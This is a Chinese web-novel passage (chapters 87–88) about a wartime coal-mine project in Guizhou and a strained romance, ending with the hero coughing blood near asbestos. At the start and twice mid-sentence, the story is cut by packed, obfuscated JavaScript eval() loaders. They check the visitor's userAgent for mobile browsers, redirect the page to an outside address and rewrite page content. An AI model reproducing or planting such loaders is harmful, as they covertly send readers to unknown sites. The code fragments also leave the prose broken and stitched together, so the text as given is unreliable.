l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392431|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 虽说是在牵马,但马也识途,和他并排而行,缰绳并没有被拉直;金雪池的绣花鞋在余光里一会儿闪、一会儿没。橘色底、月白镶边,上面绣了花卉纹,是常见的式样,上面还露了一截光光的脚背——她穿旗袍以来,淘汰了布袜,一直穿肉色丝袜。事发突然,没买布袜,只好光脚。 山中晨雾未散,眼前天是苍青、山是灰褐,也都是冷而清凉的色调。这么一块暖色在视线里出现一会儿,就是一种活泛泛的刺激。 他伸手要握,握了个空。金雪池轻轻踢了他一脚。 比起第一次门可罗雀的场景,这回窑洞里就热闹多了,铺梁的铺梁,拓宽的拓宽,只是没有命令,决不许再往深处挖。几人迅速脱掉鞋袜挽裤腿,薛莲山把自己的马灯点亮,递给金雪池,“你拿着灯,跟着我。” 她点了点头,跟着队伍往里钻。 这回主要是进行测量任务。过去的一个月里,工人把矿道挖宽了,为方便以后铺铁轨、牵管道。安广拿着一段软尺四处丈量、报数字,杨晓茹抱着本子奋笔疾书,不过一刻钟,软尺已经被煤泥染得看不清刻度,本子也脏了。 他们落在很后面的位置,薛莲山走得很慢,一路都在摸顶上和墙壁。金雪池提着灯,一阵一阵地发晕:“这是什么味儿?” “不舒服吗?现在要出去吗?” “还不至于。” “装了通风机就好了。” “山里有电吗?” “山脚下可以建几个锅炉房,已经在建了。” “蒸气进到洞底不会冷么?”她提起灯来照他的眼睛,他也是诧异,“不是你们给我提交的试验报告,说只要用石棉裹住管道就可行......” “那是章子敬算的,我不知道。我就打打杂。” “子敬有过真实工作经验,不会有问题。” 金雪池准备说几句章子敬的坏话,但他已经开始抠墙壁,她便把马灯提起来照着,照着岩蚀剥落的一片青绿,也照着他半张脸。下半张脸被口罩蒙住,上半张脸又架一副框镜,这样大的一个人,却需要被这些堆堆叠叠的、繁琐而精细的小东西——一片玻璃、一层纱布——保护起来,否则根本寸步难行。 她心里忽然涌起一阵颤颤的情感,一种堆堆叠叠的、繁琐而精细的小东西——譬如扇子柄上的流苏,扫过她的皮肤,挠到了她的脏腑里去。 金雪池也不知道这是怎样的情感,她想抚摸他的头发,想捏他的手指,做一切他理所当然就能对她做、但她因为晚出生十一年,无法对他做的举动。她想他的小时候,一个人在这样的地方,身边却并没有成年后的他这样的长辈引路。她是有的,他从未有过,他无师自通地做了她的引路人。 你会怕黑吗? 你有恨吗? 你会毫不犹豫地抛下这片土地,远走高飞吗? 可能有过,但她缺席了。等她到来时,他无能为力的年纪已经过去,他本就不多的真挚已经耗尽,他豁然贯通的顿悟、愤世嫉俗的偏激、刻骨铭心的痛苦已经在春雷夜里悄悄发生,又随岁月逐渐平息,他对自我的塑形已在克服无数向下、绮丽的引诱后,走向了高地。 应念岭海经年,孤光自照,肝肺皆冰雪。 87.天骄 金雪池的作息变得很规律,六点起,洗漱完就去上班;晚上七点下班,吃饭,然后洗衣服。每天都有一箩筐衣服要洗,不过也不是她一个人,连薛莲山和谢世璧都自己洗衣服,她没什么怨言了。 她其实很少能看见薛莲山。来之前,她以为他还是坐在办公室里,给交上来的方案签个字;来之后才知道,那方案不仅需要他提出、全程跟进,就连相关的采购、运输和协调都是归他负责。当晚他就又下山了,去重庆买设备。 他是那种不嫌麻烦、不敷衍且精力旺盛的人,走前,给他们列出长长一条时间线:哪一天一号窑的横梁必须竣工,哪一天铁轨设计初稿必须出来,等等等等,以便自己在异乡还可以把技术组众人支使得团团转。 戴鸿飞拆了夹板回来,严格遵照执行,天天去监工。两个月过去无事发生,他知道薛莲山什么都没说,存了些暗暗的感激。 营地里三个年轻女生各自为政,除了张芬和谁都能聊两句以外,谢世璧自矜身份,金雪池爱跟自己玩,杨晓茹全心都扑在工作上。下班了,她还要整理工作笔记,并爱跟人探讨问题。 没有人愿意下班后继续探讨问题,都不理她。只有章子敬好为人师,她爱问,他也爱解答,两人于是常绕着营地走,轻声细语,在旁人看来简直像一对情侣。 某日,章子敬忽然问她:“金小姐是怎么的人?” 杨晓茹没太关注过金雪池,仔细搜索了一下印象,“金小姐爱画画。” 这样不痛不痒的评价不能使他满意,他慢慢地开口说:“我想,金小姐应该是爱钱的,她的衣服鞋子都不错吧?” “她是有好几条定制旗袍,我从前都没见过花样那么精细的。毕竟是上海来的。” “年纪这么轻,就被浮华遮住了眼睛。”章子敬下结论时,两条眉毛是往上挑的,那一块的肌肉也十分用力,使眉毛弯弯曲曲,“你知道她和薛专员的真实关系是什么?她说男女朋友,你相信吗?” “那还能是什么?” 他做了个“包养”的口型,“一个给钱,一个陪睡。” 杨晓茹皱起眉头,“我不知道。我们还是说别的吧!” “我只是说——你不要和她走得太近,她习气不好,会带坏你。” 隔几天,她掏出了几节卫生纸擤鼻涕——别说这里是山区,城里的卫生纸都少见。章子敬问是哪里来的,她便说是薛专员上回去县里,给每位女性都带了一卷卫生纸。 他听了,又露出那种复杂的表情,眉毛虬曲打结,很有苦难言、很为她痛心的样子,“你认为他是什么目的?” 杨晓茹不方便跟他说,当然是处理月事啊,金小姐就需要用纸,他大方地给所有人都买了。总不能是他也想要她们去陪睡吧?她知道自己不好看,比起金小姐差得远了。还不如四卷纸全给金小姐,让金小姐一个人陪睡四次。 但是章子敬算是她唯一的朋友了,他说的话,不可避免地给她留下一个印象。张芬是长辈,不在她的比较范围内。金雪池或谢世璧翻行李箱时,她就忍不住多看几眼,里面的衣服都是好料子,但她们也不急着穿。或许这就是有钱人吧,舒适为主。 她知道谢世璧是来干嘛的,镀金的。谢世璧只需在山上住些时日,拍几张照片、写几篇文章发表,她就是这个国家级项目的重要参与者,往履历上添加光鲜的一笔。 人家的家世摆在那里。世璧。世代承袭圭璧。 金雪池却既有真才实学,又不在乎履历。她比谢世璧受到的命运的馈赠还要多,她真的聪明,眼界开阔,也不费尽心思地要从做一件事情中得到什么物质回报。从上海来,将往美国去,贵州黑箐山只是她生命中无足轻重的一段插曲。而对他们来说,黑箐山已经是最大的舞台,一生的功绩与荣耀都将发生在这里;再想往高处走,登天无路。 暮色从天空的四角围过来,白日里绿的树、红的花,现在统统都看不出颜色,像被飞虫扑落落地飞过来后被按死在墙上,留下一个黯淡的黑印子。世界是死去的了,仍被牢固地拓在原位上。她在这静的、黑的、死的一切中抱紧了工作笔记本,感觉一颗心抵着胸骨突突地震。 每天早上她又最早醒来,屋内静悄悄,只有均匀的呼吸声。带上牙缸和牙刷去接泉水,路上也静悄悄——主观层面上的,蝉噪林逾静,鸟鸣山更幽。天空是幽蓝的,因为即将发白,有种奇异的油亮,是灶上的火;一切生物,蝉、鸟、人,在漫天的火里蛰伏着,只发出细小的声响,木柴燃烧时啪得一声。 天高地迥,杨晓茹仰起脖子,又不肯相信自己的一生会比她们浅薄。 金雪池当真是对她的心理一无所知,金雪池不会去关注她。山间生活对她来说,是种很新奇的体验。就算吃苦,那也是吃新鲜的苦。 因为过去待的地方一直很热,乍一到贵州这么凉快的地方,还有些不适应。她的伤口隐隐作痛,背上的,臂上的,但常言道伤疤是女人的勋章,她有尊严地把这些勋章收藏起来,而不试图到薛莲山面前去求安慰。她再也、再也不会做任何使自己的形象变娇弱、变稚嫩的事。 膝盖也隐隐作痛,不知是每天上坡下坡走太多路,还是冻的。每晚八点半下班后,山区漆黑一片,没有光线供她画画,她就想练练骑马。 喂马的勤务员不答应,说马匹有严格管控,不是她想牵出来就牵出来的,需要打报告。她于是作罢。后来戴鸿飞听闻此事,批准了,理由是骑马在山里是必备技能,趁晚上没人用马,给她练练也行。 从马厩牵出一匹马,遛了大半圈,因为没人给她牵马,不敢上去。又遛了两圈,马都遛困了,碰上了姚如松。 “金小姐,你要骑上去吗?” “我不会骑。” “我会骑。” “我知道。” 姚如松笑了,不断地在裤子上擦手汗,“我可以教你。” 金雪池一开始婉拒了,但他坚持帮她牵马。为了少麻烦对方,她积极学习,在一周内就可以自己调动马的方向了,再也没找过姚如松。 到了九月末,整个团队发现大事不妙:杉木供应不上来了。自己去砍,将严重地延误工期;找村民收,又要开高价。他们的资金本就捉襟见肘。 戴鸿飞开了个会,最后决定先走一步算一步,把钱花出去,日后不够再向上级申请。他和财务组组长一天跑了六个村庄,游说村民,大意是煤矿开发好之后能给黑箐山带来一大笔收入,这个工程也可以养活很多村民,矿工的工钱是比种地要高的。好说歹说,把价压到了一个较为合理的程度。 村民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396522|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们行动起来,磨磨蹭蹭地上了山,以极慢的速度砍伐起来。 这边杉木解决了,那边建锅炉厂的水泥又不够,就算拿钱出去,整个大定县的水泥也断供了。技术组二十余人连着加了三天班,修改设计图纸,试图用更少的水泥把锅炉房修起来。 闹了三天,章子敬把所有人都阴阳怪气了一顿,说干脆减一个锅炉,只要一个锅炉好了。先把前期的蒸气供应搞定,等开发进行到后期,有了资金回流,再添一个不迟。 这是金雪池的知识盲区,她一个学数学的,对实践层面的东西知之甚少。 最敢和章子敬叫板的当属安广,站起来就说现在正追求效率,锅炉少了怎么行?还不如混一点黄泥、碎石之类的东西,做压力测试。 于是又加了三天班。先用杠杆称量出一块差不多一吨的石头,然后调配各种比例的混合物,看能不能承住重量。最后调配出一种石灰、黄泥、碎煤渣的混合物,承受锅炉是绰绰有余。 章子敬当即冷哼一声:“日后出了问题,你能负责吗?” “事情还没做,就谈追责。”安广跟他对着呛,“现在我们的目标就是以最快的速度把煤矿开采出来,只要能救国家的燃眉之急,日后出了问题,我负责就我负责。章组长置自身安稳于国家重任之前啊!” “我有必要提醒你,锅炉塌了是安全事故,会死人。” 戴鸿飞听两人争论许久,其间一直保持着严肃、冷峻的军人做派,金雪池觑着他的表情,怀疑他是不是在神游。又觑了一会儿,她发现他长得还比较俊。这种俊并不鲜明,是慢慢看出来的,眉毛淡而有一个小弓,眼睛窄,鼻头窄......不会是江浙人吧?她对于江浙有相当的好感,看到文气的长相,就觉得是江浙人。 但他太装模作样了,总要用帽檐挡住大半张脸。 最终戴鸿飞拍板只要一个锅炉。章子敬立刻显现出得意的神情,得理不饶人,追着安广重复“我就说吧”“我说什么来着”。安广听着就烦,但不敢正面骂回去。晚上在食堂里,他就对着同事大骂起这人来。 金雪池呲着大牙直乐,安广立刻抓住支持者,把搪瓷碗敲得铛铛响,“金小姐,是不是?你说是不是?” “呃......” 杨晓茹这时忽然插嘴说,“其实就是讨论问题,各抒己见。” 安广马上闭嘴不说了,跟身边人互使眼色,意思是杨晓茹和章子敬是一伙的,章子敬不正常,杨晓茹也不太正常。杨晓茹也感知到了什么,她并不愿意被归为哪一类,充其量,是只有章子敬愿意跟她探讨交流而已。 众人不欢而散。金雪池也溜去洗衣服了。 山里真是冷,才十月,手浸在水里简直发麻。她蹲在山泉边,山泉非常小,连溪流都算不上,就是一条碎石子沟里涌动的水,一不小心就会被营地里的人截断了。好在现在还有水。月光下,几乎不见水流反光,只有淙淙的声响。 俯身去闻,可以闻到一股极淡的煤的味道。这一整座山,泥里面掺煤渣,风里飘荡着硫磺气,连水也是流经煤矿的,其矿藏之丰富,已经无孔不入地渗透出来。 金雪池捧了一口尝了尝,感觉有点苦。她怀疑即使是喝烧开的水,里头也有很多有害成分,重金属什么的。但也是没办法。 88.石棉 十月中旬的一天中午,金雪池正开小差,忽然听到木门吱呀一声,有人推门而入。她连忙抬头,拨了拨刘海;与此同时,杨晓茹直接大声道:“薛专员你终于回来了!” “怎么,”他笑道,“想我啦?” 杨晓茹没接上话,安广接口说:“那是一方面,另一方面呢,工程好像有点问题......” “有问题就对了,我定的日期不可能完成,不过是对你们的一种鞭策。”他悠悠摆了摆手,“都出来看。” 现在还是工作时间,章子敬还没应允,十几个年轻人就一窝蜂地涌出去了;他咬着牙,只得跟在后面出去。不止他们,勤务员、炊事员、几个来做汇报的矿工都在探头探脑地看,长长一列马车正驶进门口。 “三台绞车,六台通风机,从沦陷区内迁来的。不过通过湘黔古道进山的时候,设备过不去,我只好去重庆兵工厂借了两个老技工,当场把设备拆了。因此,咳,耽搁了几天。”他道,“门口站着的就是重庆兵工厂的两位师傅,以后也加入我们。” 众人对于那对七零八落的零件心存敬畏,默默看了半天。秋风萧瑟,刮得人也遍体生凉,他们此前从未见过这些东西,只觉得自己是山中人,不知今夕何夕。 “外面是什么情况?”安如柏小声问。 薛莲山用手帕掩着嘴咳了一通,末了,回答道:“武汉也沦陷了。” 下午各组组长跟他述职,技术组、工程组、财务组,财务组提及资金不够时,他大为意外,问:“现在采出来的煤在哪里?” “在库房里。” “等着干什么呢?” “......等着以后烧锅炉。” “烧锅炉的不可以以后再挖吗?现在一号窑和二号窑都没进入正式开采阶段,上面不要求产煤量,都是可以自己用的。是不是要到冬天了?冷不冷?这煤拖到市里卖不出价钱吗?”薛莲山稍微显现出不耐烦的神色,“你再拍一封电报给许副部,商量说把未来三年产煤量的10%预付给大后方某个兵工厂,先借点钱。本来产煤就是要供给后方的,他们没有不支持的道理。” 这几个组长里,就数这个财务组组长最令他火大,四十多岁了,毕业后就在大学里留教,教起书来头头是道,实践起来狗屁不通。 相比之下,章子敬还是挺能干的。 可惜他抬举章子敬,章子敬不抬举他。述完职后正好到了饭点,两人一同去吃饭,章子敬对着饭菜一顿扒拉,忽然开口说:“前几天我洗衣服的时候,瞧见姚如松为金小姐牵马。” 薛莲山笑了一声,“没眼力见。瞧见金小姐学骑马,你怎么不也去牵一段?” 章子敬挑着眉头说:“我知道你们的关系。他们并不是普通地牵,是一边调整姿势、一边俯身说话......” 薛莲山知道他想表达什么,但未免太可笑了。章子敬要挑拨,挑个高大英俊风度翩翩的对象还差不多——天上地下,薛莲山找不出比自己条件更好的男人了。他这么好,无奈金雪池没长心肺,对他都不见得多喜欢。一个朴实热心的安如松,这也值得说? 他真是多余跟章子敬一起吃饭。一下午都没和金雪池说上一句话,居然跟这人说。 还了碗,他回到宿舍,准备收拾好行李就去找金雪池。不料金雪池正等在门口,两只手交叉抄在袖子里,刘海被风吹得往一边偏,薄薄的,像花蕊。 营地里的门都没有锁,只是怕野生动物闯进来,有个钩子把两个门把手勾住,她其实可以直接进去。 薛莲山把钩子取下,她贴近了些,用他挡风,又一路跟进卧室,跺了跺脚,“其实我中午想跟你说句话来着,但是你一直没空......欢迎回来。” “除此之外呢,还有没有别的?” “呃,其实各方面都有几句,你想听哪方面的?” “甜言蜜语。” “我不会说。” “那你听我说。”他拉着她一只手在床边坐下,仰脸望着她笑,“湘黔古道是很险的一条路,又窄又陡,我们连人带马摔了好几次,这次过后,大概这辈子也不会再走。但是风光很好,正是枫叶红的时节,几个侗族寨子像世外桃源一样,食物很好吃,姑娘的服饰也很美。我应该带你一起去的。不知道什么时候日本人打过来,那条路上的枫叶,你就没机会看到了。不带你,就有这样的遗憾;带了你,又怕舟车劳顿......” “你摔了?” 薛莲山顿了顿,她通人性的时候少,每次都给他别样的感受,“谁说你不会甜言蜜语。” “我认真的,出意外了怎么办?” “我买了保险。” 这哪里是保险的问题,人都没了,保险有什么用?但薛莲山显然听不进去,甚至乐在其中。金雪池就不说什么了。 他从行李箱里翻出带给她的东西:三双棉袜;一袋油茶,早餐可以泡着喝,二十块刺绣手帕。为什么一口气买二十块呢,是因为天黑时有个婆婆蹲在路边卖,他本来只买一块,但是走近一看,婆婆的筐里一头挑着手帕、一头挑了个小孩子,孩子正津津有味地吃着手指。 他便全买下来了。 她翻看那几双袜子,就骑了那么一回马,他就记住了她缺厚棉袜。她心里又有点不舒服,因为如果她差什么都需要他惦记,那他可以当她的爹了。她不要他关心,她要他平视。 “薛先生,下回我要是缺什么东西,会自己去置办的。” “怎么了?”他很意外,“有哪里不喜欢吗?” “挺好的,谢谢你。” 薛莲山一时不知道她是不是在阴阳怪气,但金雪池这个人——他对她还是很了解的,一般不通过阴阳怪气和发脾气来解决问题,一般说什么就是什么。最终只道:“好,我尊重你。” 最后他留下了三块手帕,剩下的,她拿去和舍友们分。这让章子敬看到了,更对他“淫贼”的形象深信不疑:居然和所有女人用同样的手帕!疯了! 薛莲山回来立刻做了几件事:第一,开培训班。重庆兵工厂的张师傅和史师傅当老师,每晚六点到八点,讲解如何安装、操作、维修设备,所有挂名工人都得听。第二,照原计划,把另一个锅炉也建起来。第三,冬天到了,村民没有农活可干,全发动来挖矿,按工时领薪。 整座山于是轰隆隆地转动起来了。 最先装好的是蒸气抽水机,工人给长长的管道裹上石棉,要放到窑洞最深处去。薛莲山当天本来是去巡视的,站在工人背后才几分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400683|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忽然不可控制地咳起来。本来没引起注意,谁还没有嗓子不舒服的时候?结果他咳着咳着就蹲了下去,整张脸都憋红了。 戴鸿飞最快发现不对劲,一把将他搀起来,“怎么了?” 薛莲山说不出话,只是往营地的方向指。恰好也是下山的方向。戴鸿飞于是心领神会,“去县上医院!” “什么?”安广立刻跑过来,“什么情况?现在去医院?” 薛莲山一直摆手,被两人扶着往回走了一段,方开口说:“不去医院......我回宿舍。” 安广把这事告诉了金雪池,金雪池也认为不用去医院,“他有药,回来就行了。”字里行间并未透露出要去探望他的意思。毕竟又不是感冒发烧,平日里受了刺激,咳着咳着就消停了。她去也帮不上忙。 安广却觉得非常奇怪,他们这一对情侣似乎有些夹生,金小姐并不关心他吗?没想到薛专员这样的人在情场上也不受待见,一时大为同情,替他提了热水、打了饭,直接从大门口进。 薛莲山刚喝了止咳药,见他服务如此周全,不禁笑道:“没到那个地步,我已经好了。倒是你,招呼也不打一声就进来。” “你也可以来找我呀,欢迎。” “我没兴趣去你们臭烘烘的男生宿舍,以后不要这样。”他咳了几声,“我这身体跟矿下养的鹦鹉、老鼠差不多,普通人还没发现问题,我会第一个不舒服。从前没有这反应的,这回是在后面看工人卷石棉。” “不会无缘无故地犯病吗?” “兴许也是。” 他一时没什么头绪,就只把安广撵了出去,叫他以后不许直接进来。 但是一整天他都很不舒服,断断续续地咳着,到了晚上,吐出的痰里还有血丝。薛莲山想一会儿石棉,想一会儿金雪池,忽然忿忿的:她也不来看看他!她对他的好,是指令式的。他说“我回家你必须迎接”,她就迎接;他没说过“我不舒服你必须来看我”,她就不会来。 岂有此理,岂有此理,这人根本没有自发的关心。 他也不找她了,想把石棉的问题研究清楚,先咨询了技术组一个学材料的组员。那人说石棉是很常规的材料,防火、绝缘、隔热,在各方面都有广泛运用。 说到最后,薛莲山已经快确信自己是忽然犯病了,就让戴鸿飞拿了一块来。灰白色的,亮晶晶的,捧在手上是很轻的一团,对峙五秒,暂时无事发生。 随后薛莲山用手掌揉搓了它几下,有一阵白烟腾散开来,他一看烟气就预感不妙,当场就撕心裂肺地咳起来。戴鸿飞赶紧把石棉扔了出去,等他缓过来后,分析说:“你有肺病,是不是?” 他只是点头,有点缓不过来了。 “我不好说,因为你离车尾气近了、离面粉近了,也会咳。但不能说从此就不开车、不和面。现在一担石棉已经涨到了十五法币,我们是跟军工厂抢来的。” 薛莲山彻底没缓过来,一口血咳在了手帕上。戴鸿飞只知道谢小姐长得像林黛玉,不知道还有人病况像林黛玉,说吐血就吐血,吓了一跳;又因为对方事先解释过去医院也没用,至少县上医院没用,一时不知道是叫人还是怎么怎么帮他。 一番思量后,他去把金雪池找过来了。